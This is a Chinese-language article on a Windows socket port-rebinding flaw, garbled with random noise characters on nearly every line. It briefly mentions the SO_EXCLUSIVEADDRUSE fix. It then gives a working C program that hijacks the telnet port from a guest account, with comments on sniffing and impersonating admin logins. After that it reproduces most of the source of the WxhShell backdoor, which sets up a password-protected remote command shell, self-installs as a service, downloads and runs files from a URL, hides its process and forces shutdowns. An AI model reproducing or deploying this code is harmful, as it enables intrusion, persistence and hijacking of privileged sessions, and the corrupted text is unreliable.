在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|C D}<r(N
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4#:\?HAu! K@r*;T saddr.sin_family = AF_INET;
O<GF> O
>FO> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Km*<Kfcz lIh[|] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]yLhJ_^ 9=$!gC) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bk3Unreh )N7n,_#T> 这意味着什么?意味着可以进行如下的攻击:
l~1AT% >IY,be6>P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/6U
4S>'( bx>i6
R2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
HmV />9 \ e,?rH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5@P-g ]0/p 7N14 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]MAT2$"le A*'V+( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nbxR"UH B*,?C]0{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c3k|G<C2 NHkL24ve 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1q]c7" AuCWQ~ #include
FT/amCRyT #include
HC7JMj #include
cOku1g8 #include
70Ka! DWORD WINAPI ClientThread(LPVOID lpParam);
1S%}xsR0 int main()
"s]y!BLk {
>&Fa(o;* WORD wVersionRequested;
=Od>;|]m DWORD ret;
Jps .;yjk WSADATA wsaData;
inF6M8
A1 BOOL val;
n}J^6:1 SOCKADDR_IN saddr;
SxMj,u%X/ SOCKADDR_IN scaddr;
o6|-=FcvC int err;
- DL"-%X. SOCKET s;
HXks_ix ) SOCKET sc;
R]QpMj%o int caddsize;
C5n?0I9 HANDLE mt;
5I,$EGG DWORD tid;
Ze
?
g wVersionRequested = MAKEWORD( 2, 2 );
0ar=cuDm err = WSAStartup( wVersionRequested, &wsaData );
|F!F{d^p if ( err != 0 ) {
^l !L)iw printf("error!WSAStartup failed!\n");
CV^c",b_ return -1;
`="v>qN2\ }
7GZq|M_:y saddr.sin_family = AF_INET;
Z2p> n`D ;nB2o-% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W9R`A Sz0+<F#5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#WufZ18# saddr.sin_port = htons(23);
'6zd;l9Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2u:4$x8 {
-<W2PY< printf("error!socket failed!\n");
m0( E kK return -1;
#Lka+l;L7 }
i'tp1CI val = TRUE;
SRz&Nb //SO_REUSEADDR选项就是可以实现端口重绑定的
TzM=LvA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2QayM?k8 {
(0jr;jv printf("error!setsockopt failed!\n");
#":a6%0Q return -1;
JJf<*j^G }
L11L23: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
UK3a{O[5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`WlE|
G[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UR3 $B%i Alz~-hqQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@ {}rG8 {
3jPB#%F ret=GetLastError();
>oqZ !V5[ printf("error!bind failed!\n");
|}S1o0v{(a return -1;
t26ij`V }
;f%|3-q1[ listen(s,2);
p&3>
`C while(1)
I/s.xk_i {
P s#>y& caddsize = sizeof(scaddr);
kO ![X ^V //接受连接请求
R&So4},B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3g'+0tEl if(sc!=INVALID_SOCKET)
a%K}j\M {
~_ P YNY`" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
QIA R if(mt==NULL)
D ,M@8h, {
M|%c(K#E,3 printf("Thread Creat Failed!\n");
|.w;r
break;
arj$dAW }
Q}P-$X+/ n }
,sDr9h/'C3 CloseHandle(mt);
?q Xs- }
l3J$md|f closesocket(s);
;~/4d- WSACleanup();
JR1*|u return 0;
H/jm
f5 }
l{%a&/ DWORD WINAPI ClientThread(LPVOID lpParam)
Y';>O ` {
{;k_!v{ SOCKET ss = (SOCKET)lpParam;
7~vqf3ON4J SOCKET sc;
B8~=RmWLl unsigned char buf[4096];
pFIecca w SOCKADDR_IN saddr;
8:{q8xZ=k long num;
zM59UQU; DWORD val;
knSuzq%* DWORD ret;
=kFuJ
x)f //如果是隐藏端口应用的话,可以在此处加一些判断
_T]>/}}p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q]\j>> saddr.sin_family = AF_INET;
IJPgFZ7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
se,Z#H saddr.sin_port = htons(23);
9}
*$n&B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~3=2=Uf {
/DU*M, printf("error!socket failed!\n");
kxo.v |)8 return -1;
;|30QUYh }
KO,_6>8]U val = 100;
treXOC9^B8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cyMs(21 {
2
sSwDF ret = GetLastError();
oh\1>3,Ns return -1;
Gah lS*W }
}1>atgq]w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9^zx8MRXd {
t!jwY /T ret = GetLastError();
V2<i/6~ return -1;
>&hX&,hG }
m2b`/JW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
cht {
3h&bZ printf("error!socket connect failed!\n");
K-4tdC3 closesocket(sc);
!6E:5=L^ closesocket(ss);
d@>\E/zA return -1;
}ywi"k4> }
./.=Rw while(1)
:[?!\m%0 {
%fpsc_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=pp:j`B9( //如果是嗅探内容的话,可以再此处进行内容分析和记录
Dh`=ydI5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`Zf9$K| num = recv(ss,buf,4096,0);
BKA]G)G7u! if(num>0)
BXA]9eK
send(sc,buf,num,0);
_?b;0{93u else if(num==0)
$4Y&j}R break;
Ab
g$W/(| num = recv(sc,buf,4096,0);
W5/};K\. if(num>0)
0N VI+Z$ send(ss,buf,num,0);
: bv|Ah else if(num==0)
q6&67u0 break;
-eL'KO5' }
/f&By
p closesocket(ss);
k7T
alR closesocket(sc);
;*QN9T=0 return 0 ;
k1iLnza% }
('d{t:TsY b42QBTeg ~4 ^p}{ ==========================================================
@1.9PR$x ]fC7%"nB 下边附上一个代码,,WXhSHELL
][t6VA owMmCR ==========================================================
oD,C<[(p
UTX](:TC #include "stdafx.h"
wlVvxX3% BWEv1' v #include <stdio.h>
sVoR?peQ #include <string.h>
:;TYL[ #include <windows.h>
]xrD< #include <winsock2.h>
" $=qGHA~ #include <winsvc.h>
SG`)PW? #include <urlmon.h>
#eLN1q&Z OPiaG!3< #pragma comment (lib, "Ws2_32.lib")
M.[wKGX( #pragma comment (lib, "urlmon.lib")
K;C_Z/<% VN+\>j- #define MAX_USER 100 // 最大客户端连接数
w,
7Cr #define BUF_SOCK 200 // sock buffer
z1Q2*:)c #define KEY_BUFF 255 // 输入 buffer
p1^0{ILx 5H!%0LrJg= #define REBOOT 0 // 重启
WRM$DA #define SHUTDOWN 1 // 关机
\n(ROf^' ai^t=
s #define DEF_PORT 5000 // 监听端口
B^m!t7/, M[z3 f #define REG_LEN 16 // 注册表键长度
>)y$mc6 #define SVC_LEN 80 // NT服务名长度
YkI9d&ib+ DZP*x // 从dll定义API
1RA }aX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<Wf0QO, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)JX$/-
RD- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hr1$1&p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.q inR6= 9A<0zt // wxhshell配置信息
mt^`1ekoY struct WSCFG {
InN{^uN int ws_port; // 监听端口
cD8Ea( char ws_passstr[REG_LEN]; // 口令
@T/q d>T o int ws_autoins; // 安装标记, 1=yes 0=no
GEfY^!F+ char ws_regname[REG_LEN]; // 注册表键名
U2UyN9:6F char ws_svcname[REG_LEN]; // 服务名
:iEA UM char ws_svcdisp[SVC_LEN]; // 服务显示名
9'X@@6b*' char ws_svcdesc[SVC_LEN]; // 服务描述信息
_XWnS9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<S{7Ro int ws_downexe; // 下载执行标记, 1=yes 0=no
e?1KbJ?. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m0C{SBn-M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0@v2*\D# UAKu_RO6S };
D&f!( n %r P ! // default Wxhshell configuration
S;h&5.p struct WSCFG wscfg={DEF_PORT,
x97H(* "xuhuanlingzhe",
wo]ks}9 1,
oX*b<d{\N "Wxhshell",
Y2D>tpqNw "Wxhshell",
[%?hCc "WxhShell Service",
`~h0?g "Wrsky Windows CmdShell Service",
;L$,gn5H "Please Input Your Password: ",
d.I%k1`( 1,
g41<8^( "
http://www.wrsky.com/wxhshell.exe",
#@q1Ko!NZ "Wxhshell.exe"
1~L\s}|2d };
5f{wJb2 [x|)}P7%s // 消息定义模块
~.H~XKw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*F..ZS'$[ char *msg_ws_prompt="\n\r? for help\n\r#>";
7P
c(<Ui+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{yU0D*#6 char *msg_ws_ext="\n\rExit.";
cTy'JT7 char *msg_ws_end="\n\rQuit.";
=G*z
53 char *msg_ws_boot="\n\rReboot...";
:i}@Br+R7L char *msg_ws_poff="\n\rShutdown...";
py.!%vIOQ char *msg_ws_down="\n\rSave to ";
IF
e+B" IE}Sdeqi) char *msg_ws_err="\n\rErr!";
P]-#wz=S char *msg_ws_ok="\n\rOK!";
Y=|CPE%V #XfT1 char ExeFile[MAX_PATH];
]h0Y8kpd int nUser = 0;
Z) t{JHm: HANDLE handles[MAX_USER];
E;$$+rA int OsIsNt;
oHk27U G ~\3l!zIq SERVICE_STATUS serviceStatus;
moe/cO5a9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
7<vy;"wB c{ 7<H // 函数声明
,,7.=# int Install(void);
>I|<^$/ int Uninstall(void);
c|+y9(0|y int DownloadFile(char *sURL, SOCKET wsh);
$8=(I2&TW int Boot(int flag);
-GFwFkWm void HideProc(void);
C!hXEtK int GetOsVer(void);
K` 2i int Wxhshell(SOCKET wsl);
]M uF9={ void TalkWithClient(void *cs);
'Z y{mq\ int CmdShell(SOCKET sock);
:)j7U3u int StartFromService(void);
DVbYShB int StartWxhshell(LPSTR lpCmdLine);
k~& o =I7[L{+~Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RZ<.\N
(M VOID WINAPI NTServiceHandler( DWORD fdwControl );
t Z+0}d .a5X*M] // 数据结构和表定义
} mgVC SERVICE_TABLE_ENTRY DispatchTable[] =
\6U 2-m' {
1R*1BStc {wscfg.ws_svcname, NTServiceMain},
$f9 ,##/ {NULL, NULL}
ta@ISRK };
xJ$Rs/9C 4a#B!xW // 自我安装
Q:kwQg:~ int Install(void)
8 qn{ {
n<=y"* char svExeFile[MAX_PATH];
nMLU-C!t HKEY key;
hjw4Xzju strcpy(svExeFile,ExeFile);
i[mC3ghM6, RzMA\r;# // 如果是win9x系统,修改注册表设为自启动
)gL& if(!OsIsNt) {
u<x[5xH+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U<K|jsFo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'W}~)+zK RegCloseKey(key);
K3j_C`Se if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/5&3WG&<u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lp?i_p/z RegCloseKey(key);
cAYa=}~< return 0;
/j`i/Ha1 }
-/@|2!d }
bX a %EMF }
dl7Riw-J else {
(N)r#"FV xhw8# // 如果是NT以上系统,安装为系统服务
#FrwfJOV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^vYVl{$bT if (schSCManager!=0)
NEjPU#@c {
4he v
; SC_HANDLE schService = CreateService
ORUWslMt (
A@9U;8k schSCManager,
Bl>_&A) wscfg.ws_svcname,
53g8T+`\( wscfg.ws_svcdisp,
|#Yu.c* SERVICE_ALL_ACCESS,
)->-~E}p9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E
geG,/-` SERVICE_AUTO_START,
e[d7UV[Knn SERVICE_ERROR_NORMAL,
6ON svExeFile,
'w>uFg1. NULL,
;t.SiA NULL,
L7~+x^kw NULL,
6i*ArGA
NULL,
S3%.-)ib NULL
">0/>>Ry );
I!C(K^ if (schService!=0)
WLg6-@kxXs {
{hW
+^ CloseServiceHandle(schService);
~9`^72 CloseServiceHandle(schSCManager);
r6gt9u: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
):|G
kSm strcat(svExeFile,wscfg.ws_svcname);
TFiuz;*| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7I2a*4} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
SX1Fyy6
w RegCloseKey(key);
T! &[ return 0;
rahHJp.Ws }
7Va#{Y;Zy }
n?<#
{$ CloseServiceHandle(schSCManager);
.N2nJ/ }
EOd.Tyb!/ }
*IMF4x5M >oM9~7f return 1;
=]5DYRhX] }
y]~+ `9 S0Rf>Eo4 // 自我卸载
7?n*t int Uninstall(void)
(hRgYwUa< {
>#"jfjDuR HKEY key;
#cSw"A r{Qs9 if(!OsIsNt) {
Mipm&5R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U5@TaGbx RegDeleteValue(key,wscfg.ws_regname);
Ee$"O6*! RegCloseKey(key);
$ ufSNx(F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
886 (' RegDeleteValue(key,wscfg.ws_regname);
d[P>jl%7 RegCloseKey(key);
eMpEFY return 0;
NIWI6qCw }
WwCK K }
-N-4l }
~u~[E else {
\>aa8LOe kMJQeo79 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{"gyXDE1 if (schSCManager!=0)
IgHs&= {
^J#*n;OQ3A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lD;,I^Lt6 if (schService!=0)
AK*mcTr {
|)!k@?_ if(DeleteService(schService)!=0) {
mvL0F%\.\ CloseServiceHandle(schService);
_($-dJ{ CloseServiceHandle(schSCManager);
d<|lLNS return 0;
#<WyId( }
"M5ro$qZ} CloseServiceHandle(schService);
|Ad6~E+aL- }
YjIED,eRv CloseServiceHandle(schSCManager);
LBbo.KxAe3 }
G\,A> mT/P }
WV!kA_ @6i8RmOu} return 1;
^]sMy7X0IK }
oZ*=7u dx?njR // 从指定url下载文件
gQk#l\w_ int DownloadFile(char *sURL, SOCKET wsh)
u=v%7c2Mx} {
u{{xnyl? HRESULT hr;
HA3SQ char seps[]= "/";
x4HMT/@AG2 char *token;
(fk, 80 char *file;
K+\0}qn char myURL[MAX_PATH];
3Ld ;zW char myFILE[MAX_PATH];
c^[1]'y O.up%'%, strcpy(myURL,sURL);
FOUs=
E[ token=strtok(myURL,seps);
=Q=&Ucf_ while(token!=NULL)
%6c*dy {
Dxa)7dA| file=token;
XpAq=p0; token=strtok(NULL,seps);
6t mNfI34 }
tx1m36a" 3RH#e1Y GetCurrentDirectory(MAX_PATH,myFILE);
'*LN)E>d strcat(myFILE, "\\");
<}Wy;!L strcat(myFILE, file);
U37?P7i's send(wsh,myFILE,strlen(myFILE),0);
5N3!!FFE send(wsh,"...",3,0);
bmq XP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5t5S{aCDr if(hr==S_OK)
#ZnX6=;X return 0;
|`t!aG8 else
C7 &
6rUX return 1;
^B6i6]Pd=9 \|>`z,; }
a^}P_hg}- J0*]6oD! // 系统电源模块
A*;^F]~' int Boot(int flag)
g;Sg
2 {
)6R#k8'ERr HANDLE hToken;
!9<RWNKV)Y TOKEN_PRIVILEGES tkp;
=!P?/ Iv|WeSL. if(OsIsNt) {
"KI,3g _V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
53+rpU_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0)Um W{ tkp.PrivilegeCount = 1;
VU0tyj$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.]ZuG
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
acju!,G if(flag==REBOOT) {
Py25k 0j! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c'Tu,- return 0;
SnF[mN' }
(yTz^o$t| else {
I/b8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
W*DIW;8p return 0;
%FI6\|`M }
.rB;zA;4S) }
|tJ%:`DGw else {
y=qo-v59' if(flag==REBOOT) {
AW;)_|xM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
._8cJf.ae return 0;
t-x"( }
XQY&4tK else {
NlEWm8u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aC
}1]7 return 0;
jhbH6=f4]^ }
)W6-h }
wfTv<WG,.E tc2GI6]e' return 1;
yGG\[I;7 }
3a)Q:#okD W#\};P
// win9x进程隐藏模块
nK'8Mo void HideProc(void)
H_=[~mJ {
jMWwu+w 3N*C] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-qP[$Q if ( hKernel != NULL )
GhQ`{iJM {
|{IU<o
x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PZg]zz=V4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-&D6w9w FreeLibrary(hKernel);
RkP|_Bf8) }
1nTaKK
q 2|>wY% return;
safS>wM] }
sH,)e'0 )[X!/KR90 // 获取操作系统版本
e.ym7L]$O int GetOsVer(void)
m:O2_%\l {
|A/_Qe|s2 OSVERSIONINFO winfo;
'"\Mjz)/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EjE`S_i= GetVersionEx(&winfo);
QR$sIu@% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
n >PM_W return 1;
%vYlu%c< else
#&c;RPac!6 return 0;
ayz1i:Q| }
/r@ /_\W*@ E // 客户端句柄模块
5d{Ggg{s int Wxhshell(SOCKET wsl)
tU/NwA" {
f8jz49C SOCKET wsh;
_H<OfAO struct sockaddr_in client;
[m[~A|S DWORD myID;
\#7%%>p=O' 1V$B^/ _ while(nUser<MAX_USER)
Z@O
e}\.$ {
]!o,S{a& int nSize=sizeof(client);
Pm;*Jv% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
BW=6gZ_ if(wsh==INVALID_SOCKET) return 1;
r74w[6( 9sU,.T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`9{C/qB if(handles[nUser]==0)
<!XnUCtV closesocket(wsh);
1U9N8{xg9 else
=C1Qo#QQ% nUser++;
J&1N8Wk) }
R:x04!} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
CGl+!t{ m?G+#k;K return 0;
pvxqeC9` }
cty#@?"e 8^i,M^f^{ // 关闭 socket
#wuE30d void CloseIt(SOCKET wsh)
o;C)! {
3PeJPw closesocket(wsh);
i.,B
0s]Z nUser--;
481u1 ExitThread(0);
aKr4E3` }
\9Zfu4WR uoc-qmm // 客户端请求句柄
|.nWy"L void TalkWithClient(void *cs)
,{t!->K {
')~HOCBSE 8#-}3~l[ SOCKET wsh=(SOCKET)cs;
~,1X>N" char pwd[SVC_LEN];
YP97D n char cmd[KEY_BUFF];
3e1"5~?'< char chr[1];
;%9ZL[- int i,j;
@},k\Is x9s`H) while (nUser < MAX_USER) {
9j9?;3; 24l9/v' if(wscfg.ws_passstr) {
X)5O@"4 ? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,aL"Wy( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uS.a9
Q( //ZeroMemory(pwd,KEY_BUFF);
[-a/] i=0;
wu'60po while(i<SVC_LEN) {
N`fY%"5U> tF(mD=[ // 设置超时
Id1[}B-T
fd_set FdRead;
<3OV struct timeval TimeOut;
e@YR/I8my FD_ZERO(&FdRead);
|3@]5f& FD_SET(wsh,&FdRead);
=wc[r?7 TimeOut.tv_sec=8;
{'[1I_3 TimeOut.tv_usec=0;
2YQ$hL ~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6 , ~aV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Sj+#yct - y0^FTSQ| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,B><la87 pwd
=chr[0]; Rwk|cqr
if(chr[0]==0xd || chr[0]==0xa) { i"@?eq#h
pwd=0; #'oKkrl
break; ^&%?Q_]
} J4; ".Y=
i++; F9" K
} x&wUPo{
DJ.Ct4
// 如果是非法用户,关闭 socket j!/(9*\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~x+w@4)a>
} va.wdk g
U_?RN)>j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /uVB[Tk^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &r_B\j3
EUgs2Fsb3
while(1) { ADDp m-]
F=H=[pSe
ZeroMemory(cmd,KEY_BUFF); U?>cm`DBP
<LE>WfmC
// 自动支持客户端 telnet标准 KqQrxi?f-
j=0; w pvaTHo
while(j<KEY_BUFF) { (g\'Zw5bk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JkmL'Zk>:
cmd[j]=chr[0]; RK0IkRXQd
if(chr[0]==0xa || chr[0]==0xd) { ~zx-'sc?
cmd[j]=0; u/AN|
y
break; +qdK]RR}
} (\T?p9
j++; 0M"E6z)9
} 03xQ%"TU<
-mXEbsm
// 下载文件 P~&X$H%e
if(strstr(cmd,"http://")) { Nuj%8om6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "6ZatRUd
if(DownloadFile(cmd,wsh)) P*}Oi7Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4$a#;
else I'!KWpYJT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qxq ~9\My
} !tVV +vT#
else { @"6BvGU2s
Sb<=ROCg@
switch(cmd[0]) { X*b0q J
Z
qdOS=7]W
// 帮助 X'5te0v`3
case '?': { e2;">tp6?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3 . @W.GG8
break; OS3J,f}<=
} u5lj+?
// 安装 :ZUy(8%Wl
case 'i': { +}^
if(Install()) DQ,Q yV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \"5 \hX~dS
else X:DHz0S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pDu~84!])
break; _PuMZjGL
} i'a M#4V
// 卸载 )%Y$FLB
case 'r': { .AKx8=f
if(Uninstall()) RvVnVcn^#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohwQ%NDl
else 5ewQjwW0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bo]k9FC
break; 7n#0eska,
} /({5x[
// 显示 wxhshell 所在路径 }ts?ZR^V,
case 'p': { |u03~L9G
char svExeFile[MAX_PATH]; 1aSuRa
strcpy(svExeFile,"\n\r"); #x'C
strcat(svExeFile,ExeFile); hj-M
#a
send(wsh,svExeFile,strlen(svExeFile),0); Z";o{@p
break; o'W &gkb9
} 'A4Lr
// 重启 ak<?Eu9rV
case 'b': { +^`c"qJo
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y1P ?A]v
if(Boot(REBOOT)) ]Qj65]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5!k06;s
else { M[N|HsI8?
closesocket(wsh); Q7i^VN
ExitThread(0); 7n%QP
} eqXW|,zUm
break; Q5baY\"9^
} d!,V"*S
// 关机 R9{6$djq\:
case 'd': { Dj?95Z,r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #t9&X8:U
if(Boot(SHUTDOWN)) D*heYh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); az7L0pp
else { )KkA<O}f
closesocket(wsh); nAg|m,gA
ExitThread(0); AM,@BnEcuT
} *pj&^W?
break; S__+S7]Nr
} z;1yZ4[G
// 获取shell tXwnK[~x
case 's': { E+csK*A7
CmdShell(wsh); ) 3Eax_?Z
closesocket(wsh); !i0:1{.
ExitThread(0); R /iB
break; 4WU
6CN
} !c'a<{d@
// 退出 *=)%T(^
case 'x': { E2 #XXc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XP~4jOL]
CloseIt(wsh); s:,BcVLx^
break; Y[@$1{YS
} m8#+w0p)
// 离开 nQb{/ TqC'
case 'q': { DCFYpkR%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rWAJL9M
closesocket(wsh); ,"5Fw4G6*
WSACleanup(); O~Pbu[C
exit(1); ?tg(X[h{S
break; 7l%O:M(\
} (?;Fnq
} `+{|k)2B
} u0Irf"Ab
^0c:ro
// 提示信息 szGp<xv_p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e\tcP
} j8_WEjG
} 9^x'x@6
&qF
return; Q3'\Vj,S&
} FlgK:=Fmj
UcKpid
// shell模块句柄 I~gU3(
int CmdShell(SOCKET sock) 7J.alV4`/
{ vSX71
STARTUPINFO si; TlQu+w|
ZeroMemory(&si,sizeof(si)); s^)wh v`C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WfL5.&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u#ag|b/C:
PROCESS_INFORMATION ProcessInfo; d*4fl.
char cmdline[]="cmd"; T\NvN&h-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h,LwC9
return 0; ix [aS
} %\Z{~(&-v
7`thM/fN
// 自身启动模式 c>,|[zP{
int StartFromService(void) BRhAL1
{ $i7iv
typedef struct gk1I1)p
{ YP5V~-O/
DWORD ExitStatus; L*"Q5NzB]
DWORD PebBaseAddress; R bM`"wrZ
DWORD AffinityMask; vdyLwBz:
DWORD BasePriority; dX^OV$
ULONG UniqueProcessId; ^`!5!|
